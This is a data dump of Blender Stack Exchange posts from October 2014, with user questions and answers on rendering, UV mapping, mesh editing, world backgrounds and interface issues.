  <row Id="16402" PostTypeId="2" ParentId="8222" CreationDate="2014-10-03T18:25:17.667" Score="1" Body="&lt;p&gt;Blender uses uncompress bitmaps for the icons, which are generated from the svg with a python script which depends on inkscape and blender. See &lt;a href=&quot;https://developer.blender.org/D196&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; for details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The basic workflow should be something like:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Edit svg&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Run the python script in&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blender/release/datafiles/blender_icons_update.py&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you are on linux, you can also run &lt;code&gt;make icons&lt;/code&gt; instead.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Compile &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-10-03T18:25:17.667" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="16403" PostTypeId="2" ParentId="8452" CreationDate="2014-10-03T20:23:09.497" Score="4" Body="&lt;p&gt;This can be caused by a combination of subsurf and multiple materials.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll notice that when you assign the materials to a model with subsurf, in some cases they don't line up with the edit cage. In these cases, if you either apply the subsurf modifier to the edit cage or disable it completely, the materials line up with the topology:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZNrYV.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix this distortion caused by the subsurf, add supporting geometry or creases.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;For adding supporting geometry, the loop cut (&lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt;) and bevel (&lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;B&lt;/kbd&gt;) tools work pretty well. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can change the crease weight of selected edges by pressing  &lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;E&lt;/kbd&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/u0K1u.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-10-08T18:38:01.380" LastActivityDate="2014-10-08T18:38:01.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16404" PostTypeId="1" AcceptedAnswerId="16405" CreationDate="2014-10-03T21:47:33.447" Score="0" ViewCount="743" Body="&lt;p&gt;How can an Android photosphere be used as a scene background?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I map it onto a sphere? Is there a feature of background images I can use from scene?&lt;/p&gt;&#xA;" OwnerUserId="19965" LastActivityDate="2014-10-03T22:30:02.053" Title="How can an Android photosphere be used as a scene background?" Tags="&lt;cycles-render-engine&gt;&lt;scene&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16405" PostTypeId="2" ParentId="16404" CreationDate="2014-10-03T22:00:52.603" Score="2" Body="&lt;p&gt;Yes, there's a easy way;&lt;/p&gt;&#xA;&lt;h1&gt;Cycles&lt;/h1&gt;&#xA;&lt;p&gt;Just go to the Node Editor, change the type to &lt;em&gt;World&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/l3H7k.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Then, check &lt;code&gt;Use Nodes&lt;/code&gt;, if it isn't already, press &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;A&lt;/kbd&gt; and add a Texture&amp;gt;Environment Texture node; Point the to your file, and connect it to the Background node.&lt;/p&gt;&#xA;&lt;p&gt;If you don't like/understand the Node Editor, you can go to the Properties, switch to the World tab, and click &lt;code&gt;Use Nodes&lt;/code&gt;, then besides the &lt;code&gt;Color&lt;/code&gt; field, click the dot, and select Texture&amp;gt;Environment Texture and point it to your image.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h1&gt;Blender Internal&lt;/h1&gt;&#xA;&lt;p&gt;Go to the Properties panel, switch to the World tab, go to the World subsection, and check &lt;code&gt;Blend Sky&lt;/code&gt; and &lt;code&gt;Real Sky&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gSGPu.png&quot; alt=&quot;enter image description here&quot; /&gt;&#xA;Then go to the Texture tab, click &lt;code&gt;New&lt;/code&gt; click &lt;code&gt;World&lt;/code&gt; under Preview and open your image. Scroll down to the &lt;code&gt;Influence&lt;/code&gt; subsection and check 'Zenith Up', &lt;code&gt;Zenith Down&lt;/code&gt;, &lt;code&gt;Horizon&lt;/code&gt; and &lt;code&gt;Blend&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Then go to the &lt;code&gt;Mapping&lt;/code&gt;, and change the &lt;code&gt;Coordinate&lt;/code&gt; field from View to Equirectangular.&lt;/p&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-10-03T22:30:02.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16406" PostTypeId="1" CreationDate="2014-10-03T22:20:22.633" Score="0" ViewCount="343" Body="&lt;p&gt;Wow, I got excited when I finally gave up and got help with this problem. I found the exact solution on a previous post:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/B0qc5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question was how to keep the shadow of an object in one layer from being casted onto another object in another layer. I wanted to keep the shadow of layer two from casting onto the object in layer one, so I figured it would be done as so:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3nc3x.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that it did't work. I've spent hours trying to select every possible combo of buttons and scouring the web and I can't get it. I need to quit being like a stubborn mule sometimes and know when to get help. Any of which would be much appresh. &lt;/p&gt;&#xA;" OwnerUserId="6262" LastActivityDate="2014-10-03T22:20:22.633" Title="removing shadows between layers" Tags="&lt;rendering&gt;&lt;layers&gt;" AnswerCount="0" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="16408" PostTypeId="1" CreationDate="2014-10-03T22:52:24.907" Score="1" ViewCount="651" Body="&lt;p&gt;So, I'm trying to make a minecraft scene and every time I put a sun in the scene it puts a white outline on the characters. &lt;img src=&quot;https://i.stack.imgur.com/aRwOd.png&quot; alt=&quot;enter image description here&quot; title=&quot;I know there is a problem with the pigs eyes to but i can and will fix that) :&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6323" LastActivityDate="2014-10-04T23:30:41.403" Title="White outlines around characters from sun lighting" Tags="&lt;rendering&gt;&lt;light&gt;&lt;scene&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16410" PostTypeId="1" CreationDate="2014-10-04T00:13:14.100" Score="1" ViewCount="263" Body="&lt;p&gt;I am running Debian testing/unstable with LXDE as Desktop, and with the latest Blender update (2.71+dfsg1-1) selected vertices are drawn differently. See the following picture for a before/after view.&lt;img src=&quot;https://i.stack.imgur.com/4SO1k.png&quot; alt=&quot;left: before, right: after&quot;&gt;. How can I make selections again appear like in the left part of the image (except downgrading to a really old version)? Or is that a bug with the Debian version of Blender?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; I installed the latest Blender for Linux from blender.org, blender-2.72-linux-glibc211-i686.tar.bz2 -- the problem is present in this version as well. This makes me wonder if it could be a problem with the Linux desktop. Are there graphics settings that can be tweaked?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, if I enable the setting 'Show Weights', the vertex is rendered correctly (left image), just everything has a blue tint. If I enable Shading -&gt; Multitexture -&gt; Matcap the selection is rendered correctly as well. This leaves me to believe it is not a bug related to the graphics drivers but to some other (default) setting that has changed recently. Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE 2:&lt;/strong&gt; I checked all combinations of options and with some the rendering is ok, with some not. With some it depends on the selection mode -- for example, with matcap if I switch to face selection mode, the middle point is missing. The bad thing is that there is no combination where the behaviour is acceptable :/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Probably not important, but with Windows 7 it works flawlessly (so I figure it's not a HW bug at least).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Hardware:&lt;/strong&gt; Intel i7 860, ATI 5750 (I know, this one is ancient). I'm using default Debian graphics drivers which should be the open source ones. I should stress that until and including 2.69 there were no problems; the fact that I can switch on `Show Weights' and the lines are drawn correctly leaves me to assume that the drivers shouldn't be a problem. Is there more information I can provide?&lt;/p&gt;&#xA;" OwnerUserId="1925" LastEditorUserId="1925" LastEditDate="2014-10-06T09:55:04.823" LastActivityDate="2014-10-06T09:55:04.823" Title="Strange drawing of selections in edit mode" Tags="&lt;mesh&gt;&lt;editing&gt;&lt;selection-tools&gt;" AnswerCount="1" CommentCount="8" ClosedDate="2014-10-07T09:42:48.407" ContentLicense="CC BY-SA 3.0" />
  <row Id="16411" PostTypeId="2" ParentId="16410" CreationDate="2014-10-04T01:09:17.840" Score="2" Body="&lt;p&gt;When a selection looks like that it usually means that there is a double vertex there. Two vertices in the same spot, and you only selected one of them.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To select both vertices, change the &lt;em&gt;Viewport Shading&lt;/em&gt; mode to &lt;em&gt;Wireframe&lt;/em&gt; &lt;kbd&gt;Z&lt;/kbd&gt;, then with either circle select &lt;kbd&gt;C&lt;/kbd&gt;, border select &lt;kbd&gt;B&lt;/kbd&gt;, or just right clicking twice, select both vertices. If you want only one vertex there, with both (or more) selected press &lt;kbd&gt;Alt&lt;/kbd&gt; &lt;kbd&gt;M&lt;/kbd&gt; &gt; &lt;em&gt;At Center&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-10-04T01:09:17.840" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16412" PostTypeId="1" AcceptedAnswerId="16420" CreationDate="2014-10-04T01:10:22.403" Score="2" ViewCount="481" Body="&lt;p&gt;I was coloring my object A and found this piece in blue has large area of missing vertices&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/mengp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I still have the original STL file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2TaYX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My plan was to segment those missing vertices from original uncolored object (call it B) and paste back (or merge) to A. I import the STL file to my project, I can do Shift+D to duplicate, but they are on separate objects/canvas, there seems to be no &quot;paste&quot; and Ctrl+j won't work...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help me to recover those vertices. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="6319" LastActivityDate="2014-10-04T06:35:24.190" Title="How to retrieve missing vertices from STL file" Tags="&lt;vertices&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16413" PostTypeId="2" ParentId="16391" CreationDate="2014-10-04T01:58:40.737" Score="5" Body="&lt;p&gt;As &lt;a href=&quot;https://blender.stackexchange.com/questions/16391/modeling-a-world-made-of-cubes#comment23310_16391&quot;&gt;PeterT&lt;/a&gt; said.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start by enabling the &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Add_Mesh/ANT_Landscape&quot; rel=&quot;nofollow noreferrer&quot;&gt;ANT Landscape&lt;/a&gt;&lt;/em&gt; addon. Open the user preferences &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;Alt&lt;/kbd&gt; &lt;kbd&gt;U&lt;/kbd&gt;, got to the &lt;em&gt;Addons&lt;/em&gt; tab, search for &quot;Landscape&quot;. Click on the check mark on the right, if it is not already enabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a Landscape &lt;kbd&gt;Shift&lt;/kbd&gt; &lt;kbd&gt;A&lt;/kbd&gt; &gt; &lt;em&gt;Mesh&lt;/em&gt; &gt; &lt;em&gt;Landscape&lt;/em&gt; like the picture below.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/uKymY.png&quot; alt=&quot;Landscape&quot;&gt;&lt;br&gt;&#xA;Add a &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Remesh&quot; rel=&quot;nofollow noreferrer&quot;&gt;Remesh&lt;/a&gt;&lt;/em&gt; modifier to the object. Set the &lt;em&gt;Mode:&lt;/em&gt; to &lt;em&gt;Blocks&lt;/em&gt;. Increase the &lt;em&gt;Octree Depth&lt;/em&gt; to get the resolution of the blocks you want.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/INj5r.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Same Landscape mesh with only the &lt;em&gt;Remesh&lt;/em&gt; modifier.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/IAfFs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can add the &lt;em&gt;Remesh&lt;/em&gt; modifier to any mesh you do not have to start with the Landscape addon.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.577" LastActivityDate="2014-10-04T01:58:40.737" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16414" PostTypeId="1" AcceptedAnswerId="16439" CreationDate="2014-10-04T02:43:02.130" Score="2" ViewCount="1465" Body="&lt;p&gt;Pin allows me to keep parts of a mesh where it is while performing a subsequent unwrap operation. Is it possible to pin objects so they do not move when performing &lt;em&gt;Pack Islands&lt;/em&gt;?&lt;/p&gt;&#xA;" OwnerUserId="743" LastEditorUserId="743" LastEditDate="2014-10-04T03:47:35.763" LastActivityDate="2014-10-05T06:57:51.630" Title="Pin UVs for Pack Islands?" Tags="&lt;uv&gt;&lt;workflow&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16415" PostTypeId="1" CreationDate="2014-10-04T03:30:20.710" Score="2" ViewCount="179" Body="&lt;p&gt;I am tinkering with UV mapping a skybox onto a cube (sideways T shape image)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So with the UV map settings and the actual render working correctly, I've been noticing the preview box in cube. It looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/wHjpX5E.png&quot; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I fix it to show the texture wrapping around?&lt;/p&gt;&#xA;" OwnerUserId="6325" LastActivityDate="2014-10-04T15:49:08.203" Title="Blender 2.71 Preview Showing Incorrectly" Tags="&lt;texturing&gt;&lt;interface&gt;&lt;uv&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16416" PostTypeId="1" CreationDate="2014-10-04T04:52:23.430" Score="0" ViewCount="1099" Body="&lt;p&gt;Previously, using a trackpad with Blender on a Macbook was surprisingly easy and natural: Two-finger scrolling would smoothly rotate the view, pinching would zoom, and scrolling through controls was smooth also.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Recently, however, I have discovered that the trackpad seems to be acting like a mouse: scrolling zooms, multi-touch gestures aren't recognized, and scrolling scrolls in increments, like it does when using an old mouse-wheel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nosing around in the input preferences, I found that disabling the first two &lt;code&gt;Scroll Up&lt;/code&gt; and &lt;code&gt;Scroll Down&lt;/code&gt; controls under &lt;code&gt;View2D Buttons List&lt;/code&gt; disables scrolling altogether, but content still moves from trackpad's inertia (without snapping to intervals, like desired). Also, disabling the last two &lt;code&gt;Zoom View&lt;/code&gt; controls under &lt;code&gt;3D View &amp;gt; 3D View (Global)&lt;/code&gt; does the same thing. I.e., two-finger swiping in the 3D view does nothing, but inertia from the gesture rotates the 3D view like desired.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I restore the old trackpad behavior? It seems like Blender is not realizing I am using a trackpad, but it is treating it like a mouse.&lt;/p&gt;&#xA;" OwnerUserId="6326" LastEditorUserId="2217" LastEditDate="2014-10-04T14:33:54.743" LastActivityDate="2014-10-04T14:33:54.743" Title="Trackpad behaviour - acting like mouse (OS X Macbook)" Tags="&lt;interface&gt;&lt;customization&gt;&lt;osx&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2014-10-05T09:50:45.387" ContentLicense="CC BY-SA 3.0" />
  <row Id="16417" PostTypeId="2" ParentId="16408" CreationDate="2014-10-04T05:18:04.170" Score="1" Body="&lt;p&gt;Consider changing the alpha representation for a texture with transparency.&#xA;Try both choices&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Straight or Premultiplied&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Located in the texture settings image panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mcYjv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6076" LastActivityDate="2014-10-04T05:18:04.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16418" PostTypeId="2" ParentId="16416" CreationDate="2014-10-04T05:18:20.183" Score="1" Body="&lt;p&gt;Sorry—answered own question. Turns out to be related with the OS, not to do with Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For any one else experiencing this problem, just sleep and wake the computer then relaunch Blender. Blender should now recognise trackpad input how it should. Hooray!&lt;/p&gt;&#xA;" OwnerUserId="6326" LastActivityDate="2014-10-04T05:18:20.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16419" PostTypeId="2" ParentId="16415" CreationDate="2014-10-04T05:46:13.827" Score="0" Body="&lt;p&gt;You render works correctly. You are successful and golden.  The preview is to get some quick, low cost, color and transparency sense of a material.  If you model the Eiffel Tower it will not show up in the Material Texture preview as a Small Eiffel Tower.  If I model a sphere I can select the Monkey preview.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly as your question was posed probably no one except software developers can change or &quot;fix&quot; the preview.  It may be difficult to even find some precise written specification for the preview.  So I am certainly not in the position to [say] that any change would &quot;fix&quot; anything to any large consensus because I did not create the specification.  The value of the preview had been validated by years of experienced users.&lt;/p&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2014-10-04T15:49:08.203" LastActivityDate="2014-10-04T15:49:08.203" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16420" PostTypeId="2" ParentId="16412" CreationDate="2014-10-04T06:15:18.257" Score="1" Body="&lt;ul&gt;&#xA;&lt;li&gt;Verify that you have not restricted painting to certain faces.  Blender has elaborate tools for restricting access.  Face Selection&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZxOoZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Verify you have not hidden vertices with the letter H.  See the Blender Menus to Hide and Unhide.  This is in Edit Mode.  &lt;/li&gt;&#xA;&lt;li&gt;Inspect a render to see if vertices are missing&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;After the above steps consider joining.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Be in object mode.&lt;/li&gt;&#xA;&lt;li&gt;Make sure you select both objects, then join.  &lt;/li&gt;&#xA;&lt;li&gt;Join of two or more [selected] mesh objects in [object mode] works.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Selection in Object Mode.  Select Multiple Objects&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Shift Click.  &lt;/li&gt;&#xA;&lt;li&gt;Letter B to rectangle select.&lt;/li&gt;&#xA;&lt;li&gt;Letter C to select by the centers of objects.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I you have not invested too much time in painting consider starting fresh with the correct STL file. (Delete the damaged mesh) Maybe your painting skills are faster than vertex joining skills.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joining the vertices in recovery mode seems a challenge.  Blender has many vertex fill tools.&lt;/p&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2014-10-04T06:35:24.190" LastActivityDate="2014-10-04T06:35:24.190" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16421" PostTypeId="1" CreationDate="2014-10-04T12:37:39.117" Score="1" ViewCount="440" Body="&lt;p&gt;In the old MancandyFAQ, Bassam shows an action curve modifier for making MC walk on a curve up hill and all. I'm trying to achieve a similar thing in 2.71 but not sure how to go about it. Walk cycle and stepped root bone NLA strips are fine, just wanting to fit vertical movement to terrain in a controlled way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know how best to do this in the NLA/action editor in 2.71?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4UJWr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6207" LastActivityDate="2015-03-23T10:01:50.230" Title="NLA action modifiers, character walking on curve" Tags="&lt;bezier-curves&gt;&lt;nla-editor&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16422" PostTypeId="2" ParentId="3331" CreationDate="2014-10-04T13:33:15.267" Score="1" Body="&lt;p&gt;Turns out the problem goes away if I switched the transparency of the outer block from raytraced to z-transparency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7Msfl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2014-10-04T13:33:15.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16423" PostTypeId="2" ParentId="16415" CreationDate="2014-10-04T14:39:41.917" Score="2" Body="&lt;p&gt;The preview is unlikely to match the finished render because you are using UV mapping. To have the preview cube match the finished render would require the preview cube to be using the same uv mapping that you are using. The preview isn't able to do this because it isn't aware what object the material is being applied to and has no connection to your object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The material preview is used to answer the question &quot;What would my material look like if it were applied to different objects?&quot; but not &quot;What will the material look like on my specific object?&quot; The fact that your object, a cube, looks like the preview, also a cube, is just coincidence. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setting the viewport to 'Rendered' shading mode is the best way to preview how the material will look on &lt;em&gt;your&lt;/em&gt; object.&lt;/p&gt;&#xA;" OwnerUserId="241" LastActivityDate="2014-10-04T14:39:41.917" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16426" PostTypeId="1" AcceptedAnswerId="16427" CreationDate="2014-10-04T18:39:00.190" Score="3" ViewCount="1385" Body="&lt;p&gt;I am following the &quot;Blender Inside Out&quot; tutorial on blender cloud. Chapter 4 UV Wrapping - Learn the basics about UV Wrapping and how to set seams, shows how to select a vertex path between a start and end vertex. The video says pressing &lt;kbd&gt;W&lt;/kbd&gt; should bring up a menu, which shows the option to Select vertex path. The tutorial uses blender 2.6, I have installed 2.7. I do not see this option in 2.7. Does anyone know how to access this option on 2.7?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Required path:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/bwGAe.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select shortest path result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0odiB.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6336" LastEditorUserId="6336" LastEditDate="2014-10-05T00:24:45.847" LastActivityDate="2015-06-11T10:23:13.380" Title="Blender 2.7 Select vertex path option" Tags="&lt;vertices&gt;&lt;selection-tools&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16427" PostTypeId="2" ParentId="16426" CreationDate="2014-10-04T18:48:24.663" Score="4" Body="&lt;p&gt;It's right there for me in 2.72:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/J4e1x.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the squigglyness, try changing the &lt;em&gt;length&lt;/em&gt; option in the redo panel (&lt;kbd&gt;F6&lt;/kbd&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aia0E.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-10-05T02:07:03.660" LastActivityDate="2014-10-05T02:07:03.660" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="16429" PostTypeId="1" CreationDate="2014-10-04T20:21:07.927" Score="1" ViewCount="71" Body="&lt;p&gt;I'd love to be able to preview the alpha value of a material in the 3d viewport, but I can't figure out how to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I add a material and animate it:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Assign a material to the default cube&lt;/li&gt;&#xA;&lt;li&gt;Enable transparency for the material&lt;/li&gt;&#xA;&lt;li&gt;Insert a keyframe for Alpha value (Z Transparency)&lt;/li&gt;&#xA;&lt;li&gt;Move the timeline to 20&lt;/li&gt;&#xA;&lt;li&gt;Set the alpha value to 0&lt;/li&gt;&#xA;&lt;li&gt;Insert another keyframe for the Alpha value&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I have enabled GLSL shading in the viewport properties and Texture viewport shading in the panel. When I scrub to frame 10 the Alpha value of the material is 0.5, yet it is still fully opaque in the viewport. I can render the frame and see that the material is semi-transparent. Oddly, if I toggle some Material options (e.g. Traceable), the material is displayed as expected in the viewport, but when I scrub the timeline (or alt-a to play) it isn't updated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if this is a bug, or if I'm just leaving out some setting to trigger the update of the viewport display. I've tested with 2.71 and 2.72 using both an Intel and an Nvidia GPU.&lt;/p&gt;&#xA;" OwnerUserId="6339" LastActivityDate="2014-10-04T20:41:08.150" Title="Animated material transparency isn't shown in the 3d viewport" Tags="&lt;animation&gt;&lt;materials&gt;&lt;3d-view&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2014-10-04T22:08:24.330" ContentLicense="CC BY-SA 3.0" />
  <row Id="16431" PostTypeId="1" CreationDate="2014-10-04T20:42:49.393" Score="3" ViewCount="428" Body="&lt;p&gt;Simple question: Can vertex paint be used with volume shading in Cycles?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you plug the vertex-colors into any volumetric node (emission, scatter absorption) and plug the output of that node into the volume input of the material output node the material will not render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this behaviour a bug or am I doing it wrong?&lt;/p&gt;&#xA;" OwnerUserId="6310" LastActivityDate="2014-10-04T21:56:50.753" Title="Can I use Vertex paint with volume shaders?" Tags="&lt;cycles-render-engine&gt;&lt;vertex-colors&gt;&lt;volumetrics&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16432" PostTypeId="2" ParentId="16431" CreationDate="2014-10-04T21:56:50.753" Score="5" Body="&lt;p&gt;Unfortunately, AFAIK this is not possible currently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is because the vertex colors are 2D and can't really be represented in 3D. You'll notice that the same thing happens with image textures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead you could try adding the vertex colors on top the volumetrics with a transparent shader, but I'm not sure this is really what you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OCaGG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-10-04T21:56:50.753" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
